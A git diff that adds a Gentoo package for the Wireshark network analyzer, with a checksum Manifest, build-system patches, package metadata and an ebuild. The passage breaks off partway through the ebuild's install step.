diff --git a/net-analyzer/wireshark/Manifest b/net-analyzer/wireshark/Manifest
new file mode 100644
index 000000000000..643bb47c6b98
--- /dev/null
+++ b/net-analyzer/wireshark/Manifest
@@ -0,0 +1,2 @@
+DIST wireshark-1.12.6.tar.bz2 29166493 SHA256 22ac0cc872f12cef9bb2cacfe0720eed8533dc5cea102d21de511620606cb3b6 SHA512 a8fb576e359d6534fc2df3372f23c1f338aed393749786cde21d8593f50ccec154d05c9298f7ddfcaa3a0dcee921975c6a40070a8d0b84f6fbb7f8df16b2b17b WHIRLPOOL d6c8cc268e46ab59da1d06d73dc5a7e7e16f9b07297f04a6e997fbf72a5a8ceb71847f892ab0fc281e843e3f23e8ed3bf85580b19e76e2103b0cb388c2bc9850
+DIST wireshark-1.99.8.tar.bz2 30291568 SHA256 6e03021a82cbc6b039210d37694ae51de101b7ffd4eb0e92a65ff84b4499e211 SHA512 daee99e9619b10900479c5f99ae4d33e12a2fbbc1a3065e88a77d907443e4b79a401206cf7c2dd81ffede7f1b55e97cc19faf232437334606d0cdbf0bafc98bf WHIRLPOOL 24f9270ba1ad38ef0a9a74e4c394208f27f5a05f98fc04fcc7223c92ae7259fb7022ca96867815c060ca9a76d5e76b1fb53a4757bd0cd6a1aedcfcb71649da4c
diff --git a/net-analyzer/wireshark/files/wireshark-1.11.0-oldlibs.patch b/net-analyzer/wireshark/files/wireshark-1.11.0-oldlibs.patch
new file mode 100644
index 000000000000..24b5c7ddc9bc
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.11.0-oldlibs.patch
@@ -0,0 +1,20 @@
+--- a/epan/Makefile.am
++++ b/epan/Makefile.am
+@@ -137,6 +137,7 @@
+ # Add the object files for missing routines, if any.
+ #
+ libwireshark_la_LIBADD = \
++ ${top_builddir}/wiretap/libwiretap.la ${top_builddir}/wsutil/libwsutil.la \
+ libwireshark_generated.la \
+ libwireshark_asmopt.la crypt/libairpdcap.la \
+ ftypes/libftypes.la dfilter/libdfilter.la dissectors/libdissectors.la \
+@@ -144,8 +145,7 @@
+ wmem/libwmem.la $(wslua_lib) $(wspython_lib) @SOCKET_LIBS@ @NSL_LIBS@ \
+ @C_ARES_LIBS@ @ADNS_LIBS@ @LIBGCRYPT_LIBS@ @LIBGNUTLS_LIBS@ \
+ @KRB5_LIBS@ @SSL_LIBS@ @LIBSMI_LDFLAGS@ @GEOIP_LIBS@ \
+- ${top_builddir}/wiretap/libwiretap.la @GLIB_LIBS@ \
+- ${top_builddir}/wsutil/libwsutil.la -lm
++ @GLIB_LIBS@ -lm
+
+ libwireshark_la_DEPENDENCIES = \
+ libwireshark_generated.la \
diff --git a/net-analyzer/wireshark/files/wireshark-1.11.3-gtk-deprecated-warnings.patch b/net-analyzer/wireshark/files/wireshark-1.11.3-gtk-deprecated-warnings.patch
new file mode 100644
index 000000000000..1e87ce6e2bb2
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.11.3-gtk-deprecated-warnings.patch
@@ -0,0 +1,29 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -1491,26 +1491,6 @@
+ wireshark_man=""
+ fi
+
+-if test "$have_gtk" = "yes" ; then
+- # If we have GTK then add flags for it.
+-
+- CPPFLAGS="-DGDK_PIXBUF_DISABLE_DEPRECATED $CPPFLAGS"
+- CPPFLAGS="-DGDK_DISABLE_DEPRECATED $CPPFLAGS"
+- if test \( $gtk_config_major_version -eq 3 -a $gtk_config_minor_version -ge 10 \) ; then
+- ## Allow use of deprecated & disable deprecated warnings if Gtk >= 3.10;
+- ## The deprecations in Gtk 3.10 will not be fixed ...
+- CPPFLAGS="-DGDK_DISABLE_DEPRECATION_WARNINGS $CPPFLAGS"
+- else
+- CPPFLAGS="-DGTK_DISABLE_DEPRECATED $CPPFLAGS"
+- fi
+- CPPFLAGS="-DGTK_DISABLE_SINGLE_INCLUDES $CPPFLAGS"
+- if test ! \( $gtk_config_major_version -eq 2 -a $gtk_config_minor_version -lt 20 \) ; then
+- # Enable GSEAL when building with GTK > 2.20
+- # (Versions prior to 2.22 lacked some necessary accessors.)
+- CPPFLAGS="-DGSEAL_ENABLE $CPPFLAGS"
+- fi
+-fi
+-
+ # XXX - Is this really necessary? When we build with both Gtk+ and Qt it works...
+ if test "$use_glib_cflags" = "true"; then
+ # Use GLIB_CFLAGS
diff --git a/net-analyzer/wireshark/files/wireshark-1.12.5-cross-compile.patch b/net-analyzer/wireshark/files/wireshark-1.12.5-cross-compile.patch
new file mode 100644
index 000000000000..3118178d6967
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.12.5-cross-compile.patch
@@ -0,0 +1,51 @@
+https://code.wireshark.org/review/8481
+
+From edefd74591d8f7010024a31576c2cb51eb1526ad Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@chromium.org>
+Date: Sat, 16 May 2015 05:08:53 -0400
+Subject: [PATCH] switch to AC_PATH_TOOL
+
+The TOOL variant will automatically search for host prefixed scripts
+(e.g. armv7a-unknown-linux-gnueabi-pcap-config) before falling back
+to the default (i.e. pcap-config). This makes cross-compiling a bit
+simpler.
+
+Change-Id: Ia450839693b5550f798634a7e8b82c2a661b088c
+---
+ acinclude.m4 | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/acinclude.m4 b/acinclude.m4
+index ffb1cac..c79c427 100644
+--- a/acinclude.m4
++++ b/acinclude.m4
+@@ -380,7 +380,7 @@ AC_DEFUN([AC_WIRESHARK_PCAP_CHECK],
+ # The user didn't specify a directory in which libpcap resides.
+ # First, look for a pcap-config script.
+ #
+- AC_PATH_PROG(PCAP_CONFIG, pcap-config)
++ AC_PATH_TOOL(PCAP_CONFIG, pcap-config)
+
+ if test -n "$PCAP_CONFIG" ; then
+ #
+@@ -1217,7 +1217,7 @@ AC_DEFUN([AC_WIRESHARK_KRB5_CHECK],
+ AC_DEFINE(HAVE_MIT_KERBEROS, 1, [Define to use MIT kerberos])
+ fi
+ else
+- AC_PATH_PROG(KRB5_CONFIG, krb5-config)
++ AC_PATH_TOOL(KRB5_CONFIG, krb5-config)
+ if test -x "$KRB5_CONFIG"
+ then
+ KRB5_FLAGS=`"$KRB5_CONFIG" --cflags`
+@@ -2033,7 +2033,7 @@ AC_DEFUN([AC_WIRESHARK_QT_CHECK],
+ [
+ no_qt=""
+
+- AC_PATH_PROG(PKG_CONFIG, pkg-config, no)
++ AC_PATH_TOOL(PKG_CONFIG, pkg-config, no)
+
+ if test x$PKG_CONFIG != xno ; then
+ if pkg-config --atleast-pkgconfig-version 0.7 ; then
+--
+2.4.0
+
diff --git a/net-analyzer/wireshark/files/wireshark-1.12.6-rcc.patch b/net-analyzer/wireshark/files/wireshark-1.12.6-rcc.patch
new file mode 100644
index 000000000000..b8290d00c969
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.12.6-rcc.patch
@@ -0,0 +1,52 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -1609,11 +1609,37 @@
+ # we don't know whether they'll be doing that,
+ # so this is the best we can do.
+ #
+- MIC=moc
++ MOC=moc
+ fi
+ fi
+ fi
+ AC_SUBST(MOC)
++AC_PATH_PROG(RCC, rcc)
++if test "x$RCC" = x
++then
++ AC_PATH_PROG(RCC, rcc-qt4)
++ if test "x$RCC" = x
++ then
++ if test "x$have_qt" = "xyes"; then
++ #
++ # If you want to build with Qt, you'd better
++ # have rcc.
++ #
++ AC_MSG_ERROR(I couldn't find moc or rcc-qt4; make sure it's installed and in your path)
++ else
++ #
++ # We shouldn't fail here, as the user's not
++ # building with Qt, and we shouldn't force them
++ # to have Qt installed if they're not doing so.
++ # "make dist" will fail if they do that, but
++ # we don't know whether they'll be doing that,
++ # so this is the best we can do.
++ #
++ RCC=rcc
++ fi
++ fi
++fi
++AC_SUBST(RCC)
+
+ # Error out if a glib header other than a "top level" header
+ # (glib.h, glib-object.h, gio.h) or certain other headers( e.g.,gmodule.h)
+--- a/ui/qt/Makefile.am
++++ b/ui/qt/Makefile.am
+@@ -116,7 +116,7 @@
+
+ .qrc.rcc.cpp:
+ $(MKDIR_P) $(@D)
+- $(AM_V_RCC)rcc -name `basename $< .qrc` -o $@ $<
++ $(AM_V_RCC)$(RCC) -name `basename $< .qrc` -o $@ $<
+
+ ui_%.h: %.ui
+ $(AM_V_UIC)$(UIC) $< -o $@
diff --git a/net-analyzer/wireshark/files/wireshark-1.6.13-ldflags.patch b/net-analyzer/wireshark/files/wireshark-1.6.13-ldflags.patch
new file mode 100644
index 000000000000..94554fdf485c
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.6.13-ldflags.patch
@@ -0,0 +1,14 @@
+--- a/acinclude.m4
++++ b/acinclude.m4
+@@ -61,9 +61,9 @@
+ # "-R" here.
+ #
+ AC_DEFUN([AC_WIRESHARK_ADD_DASH_L],
+-[$1="$$1 -L$2"
+-case "$host_os" in
++[case "$host_os" in
+ solaris*)
++ $1="$$1 -L$2"
+ $1="$$1 -R$2"
+ ;;
+ esac
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.0-qt5.patch b/net-analyzer/wireshark/files/wireshark-1.99.0-qt5.patch
new file mode 100644
index 000000000000..be1343d45045
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.0-qt5.patch
@@ -0,0 +1,88 @@
+--- a/acinclude.m4
++++ b/acinclude.m4
+@@ -2043,21 +2043,23 @@
+ # Try the Qt 5 version first.
+ # (And be prepared to add Qt6 at some point....)
+ #
+- for modprefix in Qt5 Qt
+- do
+- pkg_config_module="${modprefix}$1"
+- AC_MSG_CHECKING(for $pkg_config_module - version >= $min_qt_version)
+- if $PKG_CONFIG --atleast-version $min_qt_version $pkg_config_module; then
+- mod_version=`$PKG_CONFIG --modversion $pkg_config_module`
+- AC_MSG_RESULT(yes (version $mod_version))
+- Qt_CFLAGS="$Qt_CFLAGS `$PKG_CONFIG --cflags $pkg_config_module`"
+- Qt_LIBS="$Qt_LIBS `$PKG_CONFIG --libs $pkg_config_module`"
+- found_$1=yes
+- break
+- else
+- AC_MSG_RESULT(no)
+- fi
+- done
++ if test "$with_qt5" = yes; then
++ modprefix=Qt5
++ else
++ modprefix=Qt
++ fi
++ pkg_config_module="${modprefix}$1"
++ AC_MSG_CHECKING(for $pkg_config_module - version >= $min_qt_version)
++ if $PKG_CONFIG --atleast-version $min_qt_version $pkg_config_module; then
++ mod_version=`$PKG_CONFIG --modversion $pkg_config_module`
++ AC_MSG_RESULT(yes (version $mod_version))
++ Qt_CFLAGS="$Qt_CFLAGS `$PKG_CONFIG --cflags $pkg_config_module`"
++ Qt_LIBS="$Qt_LIBS `$PKG_CONFIG --libs $pkg_config_module`"
++ found_$1=yes
++ break
++ else
++ AC_MSG_RESULT(no)
++ fi
+
+ if test "x$found_$1" = "xyes"; then
+ # Run Action-If-Found
+--- a/configure.ac
++++ b/configure.ac
+@@ -456,10 +456,15 @@
+ #
+ # GUI toolkit options
+ #
+-AC_ARG_WITH([qt],
+- AC_HELP_STRING( [--with-qt=@<:@yes/no@:>@],
++AC_ARG_WITH([qt4],
++ AC_HELP_STRING( [--with-qt4=@<:@yes/no@:>@],
++ [use Qt @<:@default=yes@:>@]),
++ with_qt4="$withval", with_qt4="unspecified")
++
++AC_ARG_WITH([qt5],
++ AC_HELP_STRING( [--with-qt5=@<:@yes/no@:>@],
+ [use Qt @<:@default=yes@:>@]),
+- with_qt="$withval", with_qt="unspecified")
++ with_qt5="$withval", with_qt5="unspecified")
+
+ AC_ARG_WITH([gtk2],
+ AC_HELP_STRING( [--with-gtk2=@<:@yes/no@:>@],
+@@ -1373,7 +1378,6 @@
+ AC_SUBST(GTK2_MIN_VERSION)
+ GTK3_MIN_VERSION=3.0.0
+ AC_SUBST(GTK3_MIN_VERSION)
+-QT_MIN_VERSION=4.6.0
+ AC_SUBST(QT_MIN_VERSION)
+ # GTK+ and Qt checks; we require GTK+ $GTK2_MIN_VERSION or later or
+ # GTK3_MIN_VERSION or later or Qt $QT_MIN_VERSION or later.
+@@ -1417,14 +1421,15 @@
+ if test "x$enable_wireshark" = "xyes"; then
+ if test "x$with_gtk2" = "xunspecified" -a \
+ "x$with_gtk3" = "xunspecified" -a \
+- "x$with_qt" = "xunspecified"; then
++ "x$with_qt4" = "xunspecified" -a \
++ "x$with_qt5" = "xunspecified"; then
+ #
+ # No GUI toolkit was explicitly specified; pick Qt and GTK+ 3.
+ #
+ with_qt=yes
+ with_gtk3=yes
+ fi
+- if test "x$with_qt" = "xyes"; then
++ if test "x$with_qt" = "xyes" || test "x$with_qt4" = "xyes" || test "x$with_qt5" = "xyes"; then
+ #
+ # Qt was specified; Make sure we have a C++ compiler.
+ #
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.0.1975-sse4_2.patch b/net-analyzer/wireshark/files/wireshark-1.99.0.1975-sse4_2.patch
new file mode 100644
index 000000000000..ba61de645354
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.0.1975-sse4_2.patch
@@ -0,0 +1,20 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -985,6 +985,7 @@
+ AC_SUBST(PIE_CFLAGS)
+ AC_SUBST(PIE_LDFLAGS)
+
++AC_ARG_ENABLE(sse4_2,[ --enable-sse4_2 Support SSE4.2 (Streaming SIMD Extensions 4.2) instructions],[
+ CFLAGS_before_simd="$CFLAGS"
+ AC_WIRESHARK_COMPILER_FLAGS_CHECK(-msse4.2, C)
+ if test "x$CFLAGS" != "x$CFLAGS_before_simd"
+@@ -1011,6 +1012,9 @@
+ else
+ have_sse42=no
+ fi
++],[
++AC_MSG_RESULT(no)
++])
+ dnl build libwsutil_sse42 only if there is SSE4.2
+ AM_CONDITIONAL(SSE42_SUPPORTED, test "x$have_sse42" = "xyes")
+ AC_SUBST(CFLAGS_SSE42)
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.1-sbc.patch b/net-analyzer/wireshark/files/wireshark-1.99.1-sbc.patch
new file mode 100644
index 000000000000..adda8fe85614
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.1-sbc.patch
@@ -0,0 +1,18 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -2731,7 +2731,14 @@
+
+ # Check Bluetooth SBC codec for RTP Player
+ # git://git.kernel.org/pub/scm/bluetooth/sbc.git
+-PKG_CHECK_MODULES(SBC, sbc >= 1.0, [have_sbc=yes], [have_sbc=no])
++AC_ARG_WITH(sbc,
++ AC_HELP_STRING( [--with-sbc],
++ [add support for playing SBC]),
++ [if test "x$withval" = "xyes"; then
++ PKG_CHECK_MODULES(SBC, sbc >= 1.0, [have_sbc=yes], [have_sbc=no])
++ else
++ have_sbc=no
++ fi])
+ if (test "${have_sbc}" = "yes"); then
+ AC_DEFINE(HAVE_SBC, 1, [Define to support playing SBC by standalone BlueZ SBC library])
+ CFLAGS="$CFLAGS $(pkg-config sbc --cflags)"
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.6-gcc_option.patch b/net-analyzer/wireshark/files/wireshark-1.99.6-gcc_option.patch
new file mode 100644
index 000000000000..e7124ad3eca7
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.6-gcc_option.patch
@@ -0,0 +1,40 @@
+--- a/acinclude.m4
++++ b/acinclude.m4
+@@ -1735,15 +1735,15 @@
+ CXXFLAGS_saved="$CXXFLAGS"
+ if expr "x$GCC_OPTION" : "x-W.*" >/dev/null
+ then
+- CXXFLAGS="$CXXFLAGS $ac_wireshark_unknown_warning_option_error $ac_wireshark_non_cxx_warning_option_error $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS $ac_wireshark_unknown_warning_option_error $ac_wireshark_non_cxx_warning_option_error"
+ elif expr "x$GCC_OPTION" : "x-f.*" >/dev/null
+ then
+- CXXFLAGS="$CXXFLAGS -Werror $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS -Werror"
+ elif expr "x$GCC_OPTION" : "x-m.*" >/dev/null
+ then
+- CXXFLAGS="$CXXFLAGS -Werror $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS -Werror"
+ else
+- CXXFLAGS="$CXXFLAGS $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS"
+ fi
+ AC_LANG_PUSH([C++])
+ AC_COMPILE_IFELSE(
+@@ -1773,7 +1773,7 @@
+ # added them, by setting CXXFLAGS to the saved value plus
+ # just the new option.
+ #
+- CXXFLAGS="$CXXFLAGS_saved $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS_saved"
+ ],
+ [
+ AC_MSG_RESULT(yes)
+@@ -1785,7 +1785,7 @@
+ # added them, by setting CXXFLAGS to the saved value plus
+ # just the new option.
+ #
+- CXXFLAGS="$CXXFLAGS_saved $GCC_OPTION"
++ CXXFLAGS="$GCC_OPTION $CXXFLAGS_saved"
+ fi
+ ],
+ [
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.7-qt-pie.patch b/net-analyzer/wireshark/files/wireshark-1.99.7-qt-pie.patch
new file mode 100644
index 000000000000..445fe1027226
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.7-qt-pie.patch
@@ -0,0 +1,11 @@
+--- a/ui/qt/Makefile.am
++++ b/ui/qt/Makefile.am
+@@ -84,7 +84,7 @@
+
+ # Common headers
+ AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/wiretap $(LIBGCRYPT_CFLAGS) \
+- $(LIBGNUTLS_CFLAGS) $(PIE_CFLAGS)
++ $(LIBGNUTLS_CFLAGS)
+
+ AM_CXXFLAGS = $(AM_CLEAN_CFLAGS)
+
diff --git a/net-analyzer/wireshark/files/wireshark-1.99.8-qtchooser.patch b/net-analyzer/wireshark/files/wireshark-1.99.8-qtchooser.patch
new file mode 100644
index 000000000000..47459515ee79
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-1.99.8-qtchooser.patch
@@ -0,0 +1,10 @@
+--- a/acinclude.m4
++++ b/acinclude.m4
+@@ -2149,7 +2149,6 @@
+ # -qt={version} argument, otherwise we look for particular
+ # tool versions using tool name suffixes.
+ #
+- AC_PATH_PROG(QTCHOOSER, qtchooser)
+ if test ! -z "$QTCHOOSER"; then
+ #
+ # We found qtchooser; we assume that means that
diff --git a/net-analyzer/wireshark/files/wireshark-99999999-pkgconfig.patch b/net-analyzer/wireshark/files/wireshark-99999999-pkgconfig.patch
new file mode 100644
index 000000000000..51f3c8f9eb9b
--- /dev/null
+++ b/net-analyzer/wireshark/files/wireshark-99999999-pkgconfig.patch
@@ -0,0 +1,62 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -242,7 +242,7 @@
+ # This is referenced via AC_REQUIRE([PKG_PROG_PKG_CONFIG] in some macros
+ # like PKG_CHECK_MODULES. If the first call to such a macro is under an
+ # "if" statement, it's safer to call PKG_PROG_PKG_CONFIG directly, see
+-# the comments in acolocal.m4
++# the comments in aclocal.m4
+ #
+ # We want version 0.7 or better. (XXX - explain why. Is that just
+ # because our Qt tests were originally based on AM_PATH_GTK, and *it*
+@@ -1910,6 +1910,19 @@
+ AC_SUBST(plugins_dir)
+
+ #
++# Find out where to store wireshark.pc and what should be in it
++#
++
++PKG_INSTALLDIR
++
++AC_SUBST(CMAKE_INSTALL_PREFIX,[$prefix])
++AC_SUBST(CMAKE_INSTALL_LIBDIR,[`basename $libdir`])
++PLUGIN_INSTALL_DIR="\${libdir}/$PACKAGE_NAME/$PACKAGE_VERSION/$plugins_dir"
++AC_SUBST(PLUGIN_INSTALL_DIR)
++PROJECT_VERSION="$PACKAGE_VERSION"
++AC_SUBST(PROJECT_VERSION)
++
++#
+ # If we have <dlfcn.h>, check whether we have dladdr.
+ #
+ if test "$ac_cv_header_dlfcn_h" = "yes"
+@@ -3080,10 +3093,15 @@
+ sinclude(asn1/Custom.m4) dnl
+ ifdef(_CUSTOM_ASN1_AC_OUTPUT_,, define(_CUSTOM_ASN1_AC_OUTPUT_, )) dnl
+
++#
++# Configuration output
++#
++
+ AC_CONFIG_HEADERS(config.h)
+ AC_OUTPUT(
+ Makefile
+ doxygen.cfg
++ wireshark.pc
+ asn1/Makefile
+ _CUSTOM_ASN1_AC_OUTPUT_
+ asn1/acp133/Makefile
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -56,6 +56,12 @@
+ smi_modules ipmap.html pdml2html.xsl
+
+ #
++# Install a pkgconfig file
++#
++
++pkgconfig_DATA = wireshark.pc
++
++#
+ # Install global profiles in the "profiles" subdirectory
+ #
+ profilesdir = $(pkgdatadir)
diff --git a/net-analyzer/wireshark/metadata.xml b/net-analyzer/wireshark/metadata.xml
new file mode 100644
index 000000000000..2707e563ea6a
--- /dev/null
+++ b/net-analyzer/wireshark/metadata.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+ Wireshark is the world's foremost network protocol analyzer, and is the de
+ facto (and often de jure) standard across many industries and educational
+ institutions. Wireshark has a rich feature set which includes 1) deep
+ inspection of hundreds of protocols, with more being added all the time, 2)
+ live capture and offline analysis, 3) standard three-pane packet browser, 4)
+ captured network data can be browsed via a GUI, or via the TTY-mode TShark
+ utility, 5) the most powerful display filters in the industry, 6) rich VoIP
+ analysis, 7) read/write many different capture file formats: tcpdump
+ (libpcap), Catapult DCT2000, Cisco Secure IDS iplog, Microsoft Network
+ Monitor, Network General Sniffer® (compressed and uncompressed), Sniffer®
+ Pro, and NetXray®, Network Instruments Observer, Novell LANalyzer, RADCOM
+ WAN/LAN Analyzer, Shomiti/Finisar Surveyor, Tektronix K12xx, Visual Networks
+ Visual UpTime, WildPackets EtherPeek/TokenPeek/AiroPeek, and many others, 8)
+ capture files compressed with gzip can be decompressed on the fly, 9) live
+ data can be read from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB,
+ Token Ring, Frame Relay, FDDI, and others, 10) decryption support for many
+ protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and
+ WPA/WPA2, 11) coloring rules can be applied to the packet list for quick,
+ intuitive analysis, 12) output can be exported to XML, PostScript®, CSV, or
+ plain text
+</longdescription>
+<use>
+<flag name='adns'>Use the GNU <pkg>net-dns/c-ares</pkg> library to resolve DNS names</flag>
+<flag name='crypt'>Use <pkg>dev-libs/libgcrypt</pkg> to decrypt traffic</flag>
+<flag name='doc-pdf'>Build documentation in pdf format (US and a4 paper sizes)</flag>
+<flag name='gtk3'>Build the wireshark executable with a GTK+ UI version 3.</flag>
+<flag name='netlink'>Use <pkg>dev-libs/libnl</pkg></flag>
+<flag name='pcap'>Use <pkg>net-libs/libpcap</pkg> for network packet capturing (build dumpcap, rawshark)</flag>
+<flag name='qt4'>Build the wireshark executable with an experimental Qt UI instead of GTK+.</flag>
+<flag name='sbc'>Use <pkg>media-libs/sbc</pkg> for playing back SBC encoded packets</flag>
+<flag name='smi'>Use <pkg>net-libs/libsmi</pkg> to resolve numeric OIDs into human readable format</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/wireshark/wireshark-1.12.6.ebuild b/net-analyzer/wireshark/wireshark-1.12.6.ebuild
new file mode 100644
index 000000000000..47ff12c0e240
--- /dev/null
+++ b/net-analyzer/wireshark/wireshark-1.12.6.ebuild
@@ -0,0 +1,258 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils fcaps flag-o-matic multilib qmake-utils qt4-r2 user
+
+DESCRIPTION="A network protocol analyzer formerly known as ethereal"
+HOMEPAGE="http://www.wireshark.org/"
+SRC_URI="${HOMEPAGE}download/src/all-versions/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0/${PV}"
+KEYWORDS="alpha amd64 ~arm hppa ia64 ppc ppc64 sparc x86 ~x86-fbsd"
+IUSE="
+ adns +caps crypt doc doc-pdf geoip +gtk3 ipv6 kerberos lua +netlink +pcap
+ portaudio +qt4 qt5 sbc selinux smi ssl zlib
+"
+REQUIRED_USE="
+ ssl? ( crypt )
+ ?? ( qt4 qt5 )
+"
+
+GTK_COMMON_DEPEND="
+ x11-libs/gdk-pixbuf
+ x11-libs/pango
+ x11-misc/xdg-utils
+"
+CDEPEND="
+ >=dev-libs/glib-2.14:2
+ netlink? ( dev-libs/libnl:3 )
+ adns? ( >=net-dns/c-ares-1.5 )
+ crypt? ( dev-libs/libgcrypt:0 )
+ caps? ( sys-libs/libcap )
+ geoip? ( dev-libs/geoip )
+ gtk3? (
+ ${GTK_COMMON_DEPEND}
+ x11-libs/gtk+:3
+ )
+ kerberos? ( virtual/krb5 )
+ lua? ( >=dev-lang/lua-5.1:* )
+ pcap? ( net-libs/libpcap )
+ portaudio? ( media-libs/portaudio )
+ qt4? (
+ dev-qt/qtcore:4
+ dev-qt/qtgui:4[accessibility]
+ x11-misc/xdg-utils
+ )
+ qt5? (
+ dev-qt/qtcore:5
+ dev-qt/qtgui:5
+ dev-qt/qtprintsupport:5
+ dev-qt/qtwidgets:5
+ x11-misc/xdg-utils
+ )
+ sbc? ( media-libs/sbc )
+ smi? ( net-libs/libsmi )
+ ssl? ( net-libs/gnutls )
+ zlib? ( sys-libs/zlib !=sys-libs/zlib-1.2.4 )
+"
+# We need perl for `pod2html`. The rest of the perl stuff is to block older
+# and broken installs. #455122
+DEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+ !<virtual/perl-Pod-Simple-3.170
+ !<perl-core/Pod-Simple-3.170
+ doc? (
+ app-doc/doxygen
+ app-text/asciidoc
+ dev-libs/libxml2
+ dev-libs/libxslt
+ doc-pdf? ( dev-java/fop )
+ www-client/lynx
+ )
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+"
+RDEPEND="
+ ${CDEPEND}
+ gtk3? ( virtual/freedesktop-icon-theme )
+ qt4? ( virtual/freedesktop-icon-theme )
+ qt5? ( virtual/freedesktop-icon-theme )
+ selinux? ( sec-policy/selinux-wireshark )
+"
+
+pkg_setup() {
+ enewgroup wireshark
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.6.13-ldflags.patch \
+ "${FILESDIR}"/${PN}-1.11.0-oldlibs.patch \
+ "${FILESDIR}"/${PN}-1.11.3-gtk-deprecated-warnings.patch \
+ "${FILESDIR}"/${PN}-1.99.0-qt5.patch \
+ "${FILESDIR}"/${PN}-1.99.1-sbc.patch \
+ "${FILESDIR}"/${PN}-1.12.5-cross-compile.patch \
+ "${FILESDIR}"/${PN}-1.99.7-qt-pie.patch \
+ "${FILESDIR}"/${PN}-1.12.6-rcc.patch
+
+ epatch_user
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+
+ # Workaround bug #213705. If krb5-config --libs has -lcrypto then pass
+ # --with-ssl to ./configure. (Mimics code from acinclude.m4).
+ if use kerberos; then
+ case $(krb5-config --libs) in
+ *-lcrypto*)
+ ewarn "Kerberos was built with ssl support: linkage with openssl is enabled."
+ ewarn "Note there are annoying license incompatibilities between the OpenSSL"
+ ewarn "license and the GPL, so do your check before distributing such package."
+ myconf+=( "--with-ssl" )
+ ;;
+ esac
+ fi
+
+ # Enable wireshark binary with any supported GUI toolkit (bug #473188)
+ if use gtk3 || use qt4 || use qt5; then
+ myconf+=( "--enable-wireshark" )
+ else
+ myconf+=( "--disable-wireshark" )
+ fi
+
+ use qt4 && export QT_MIN_VERSION=4.6.0
+
+ if use qt5; then
+ export QT_MIN_VERSION=5.3.0
+ append-cxxflags -fPIC -DPIC
+ fi
+
+ # Hack around inability to disable doxygen/fop doc generation
+ use doc || export ac_cv_prog_HAVE_DOXYGEN=false
+ use doc-pdf || export ac_cv_prog_HAVE_FOP=false
+
+ # dumpcap requires libcap
+ # --disable-profile-build bugs #215806, #292991, #479602
+ econf \
+ $(use_enable ipv6) \
+ $(use_with adns c-ares) \
+ $(use_with caps libcap) \
+ $(use_with crypt gcrypt) \
+ $(use_with geoip) \
+ $(use_with gtk3) \
+ $(use_with kerberos krb5) \
+ $(use_with lua) \
+ $(use_with pcap dumpcap-group wireshark) \
+ $(use_with pcap) \
+ $(use_with portaudio) \
+ $(use_with qt4) \
+ $(use_with qt5) \
+ $(usex qt4 MOC=$(qt4_get_bindir)/moc '') \
+ $(usex qt4 RCC=$(qt4_get_bindir)/rcc '') \
+ $(usex qt4 UIC=$(qt4_get_bindir)/uic '') \
+ $(usex qt5 MOC=$(qt5_get_bindir)/moc '') \
+ $(usex qt5 RCC=$(qt5_get_bindir)/rcc '') \
+ $(usex qt5 UIC=$(qt5_get_bindir)/uic '') \
+ $(use_with sbc) \
+ $(use_with smi libsmi) \
+ $(use_with ssl gnutls) \
+ $(use_with zlib) \
+ $(usex netlink --with-libnl=3 --without-libnl) \
+ --disable-profile-build \
+ --disable-usr-local \
+ --disable-warnings-as-errors \
+ --sysconfdir="${EPREFIX}"/etc/wireshark \
+ --without-adns \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+ if use doc; then
+ use doc-pdf && addpredict "/root/.java"
+ emake -j1 -C docbook
+ fi
+}
+
+src_install() {
+ default
+ if use doc; then
+ dohtml -r docbook/{release-notes.html,ws{d,u}g_html{,_chunked}}
+ if use doc-pdf; then
+ insinto /usr/share/doc/${PF}/pdf/
+ doins docbook/{{developer,user}-guide,release-notes}-{a4,us}.pdf
+ fi
+ fi
+
+ # FAQ is not required as is installed from help/faq.txt
+ dodoc AUTHORS ChangeLog NEWS README{,.bsd,.linux,.macos,.vmware} \
